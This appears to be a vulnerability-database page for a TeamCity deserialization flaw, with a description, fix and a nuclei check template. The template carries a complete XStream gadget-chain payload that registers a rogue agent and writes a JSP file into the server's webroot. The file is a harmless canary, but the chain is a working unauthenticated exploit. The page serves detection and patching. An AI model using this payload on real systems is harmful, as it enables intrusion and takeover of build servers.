HexBrain

Browse / CVEs / CVE-2026-63077

CVE-2026-63077· jetbrains / teamcity· CWE-502

JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-08-05; known to be used by ransomware.

criticalseverity
9.8CVSS score
94.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.

Impact

Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.

Fix

Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_any(body, "TeamCity", "teamcity", "JetBrains")
Send: POST /app/agents/v1/register
Positive when: status_code == 200 and contains_any(to_lower(header), "teamcity-agentsessionid:")
Send: POST /app/agents/v1/commands/error
Positive when: status_code == 200 || status_code == 500
Send: GET /pd-tp-{{randstr}}.jspws
Positive when: contains "PD-TP-CONFIRMED" AND not contains "<%=7*6%>" AND status 200 AND status 200

Run it with nuclei: nuclei -id CVE-2026-63077 -u <target>

The full check
id: CVE-2026-63077

info:
  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
  remediation: |
    Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
  reference:
    - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
    - https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
    - https://github.com/sfewer-r7/CVE-2026-63077
    - https://nvd.nist.gov/vuln/detail/CVE-2026-63077
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-63077
    cwe-id: CWE-502
    epss-score: 0.94887
    epss-percentile: 0.9986
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: jetbrains
    product: teamcity
    shodan-query: title:"TeamCity"
    fofa-query: title="TeamCity"
  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <agentDetails agentName="nuclei-{{randstr}}" agentAddress="127.0.0.1" agentPort="9090" authToken="nuclei-{{randstr}}" pingCode="">
          <alternativeAddresses/>
          <availableRunners/>
          <availableVcs/>
          <buildParameters/>
          <configParameters/>
        </agentDetails>

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - '(?i)teamcity-agentsessionid: ([^\r\n]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/commands/error HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        TeamCity-AgentSessionId: {{session}}
        TeamCity-AgentCommandId: 123456

        <?xml version="1.0" encoding="UTF-8"?>
        <linked-hash-map>
          <entry>
            <string>n1</string>
            <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
              <outer-class>
                <myHSQLStorage>
                  <myDataSource>
                    <defaultTransactionIsolation>-1</defaultTransactionIsolation>
                    <cacheState>true</cacheState>
                    <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
                    <lifo>true</lifo>
                    <maxTotal>8</maxTotal>
                    <maxIdle>8</maxIdle>
                    <minIdle>0</minIdle>
                    <initialSize>0</initialSize>
                    <maxWaitMillis>-1</maxWaitMillis>
                    <poolPreparedStatements>false</poolPreparedStatements>
                    <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
                    <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
                    <testOnCreate>false</testOnCreate>
                    <testOnBorrow>true</testOnBorrow>
                    <testOnReturn>false</testOnReturn>
                    <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
                    <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
                    <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
                    <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
                    <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
                    <testWhileIdle>false</testWhileIdle>
                    <password/>
                    <url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>
                    <userName>SA</userName>
                    <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
                    <connectionInitSqls>
                      <string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>
                      <string>INSERT INTO TN{{randstr}} VALUES ('&lt;p&gt;&lt;%=7*6%&gt;&lt;/p&gt;PD-TP-CONFIRMED')</string>
                      <string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>
                    </connectionInitSqls>
                    <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
                    <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
                    <logExpiredConnections>true</logExpiredConnections>
                    <autoCommitOnReturn>true</autoCommitOnReturn>
                    <rollbackOnReturn>true</rollbackOnReturn>
                    <fastFailValidation>false</fastFailValidation>
                    <connectionProperties/>
                    <closed>false</closed>
                  </myDataSource>
                  <myStopped>false</myStopped>
                  <myDatabaseOpen>false</myDatabaseOpen>
                </myHSQLStorage>
              </outer-class>
            </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
          </entry>
          <entry>
            <string>n2</string>
            <freemarker.ext.beans.HashAdapter>
              <wrapper>
                <sharedIntrospectionLock/>
                <classIntrospector>
                  <exposureLevel>0</exposureLevel>
                  <exposeFields>false</exposeFields>
                  <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
                  <incompatibleImprovements>
                    <major>2</major>
                    <minor>3</minor>
                    <micro>0</micro>
                    <intValue>2003000</intValue>
                    <calculatedStringValue>2.3.0</calculatedStringValue>
                    <hashCode>0</hashCode>
                  </incompatibleImprovements>
                  <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
                  <shared>false</shared>
                  <sharedLock reference="../../sharedIntrospectionLock"/>
                  <cache/>
                  <cacheClassNames/>
                  <classIntrospectionsInProgress/>
                  <modelFactories/>
                  <clearingCounter>0</clearingCounter>
                </classIntrospector>
                <falseModel>
                  <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
                  <wrapper reference="../.."/>
                  <value>false</value>
                </falseModel>
                <writeProtected>false</writeProtected>
                <defaultDateType>0</defaultDateType>
                <methodsShadowItems>true</methodsShadowItems>
                <simpleMapWrapper>false</simpleMapWrapper>
                <strict>false</strict>
                <preferIndexedReadMethod>true</preferIndexedReadMethod>
                <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
              </wrapper>
              <model reference="../wrapper/falseModel"/>
            </freemarker.ext.beans.HashAdapter>
          </entry>
          <entry>
            <string>n3</string>
            <set>
              <org.apache.commons.collections.keyvalue.TiedMapEntry>
                <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
                <key class="string">connection</key>
              </org.apache.commons.collections.keyvalue.TiedMapEntry>
            </set>
          </entry>
        </linked-hash-map>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
        internal: true

  - raw:
      - |
        GET /pd-tp-{{randstr}}.jspws HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PD-TP-CONFIRMED"

      - type: word
        part: body
        words:
          - "<%=7*6%>"
        negative: true

      - type: status
        status:
          - 200

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from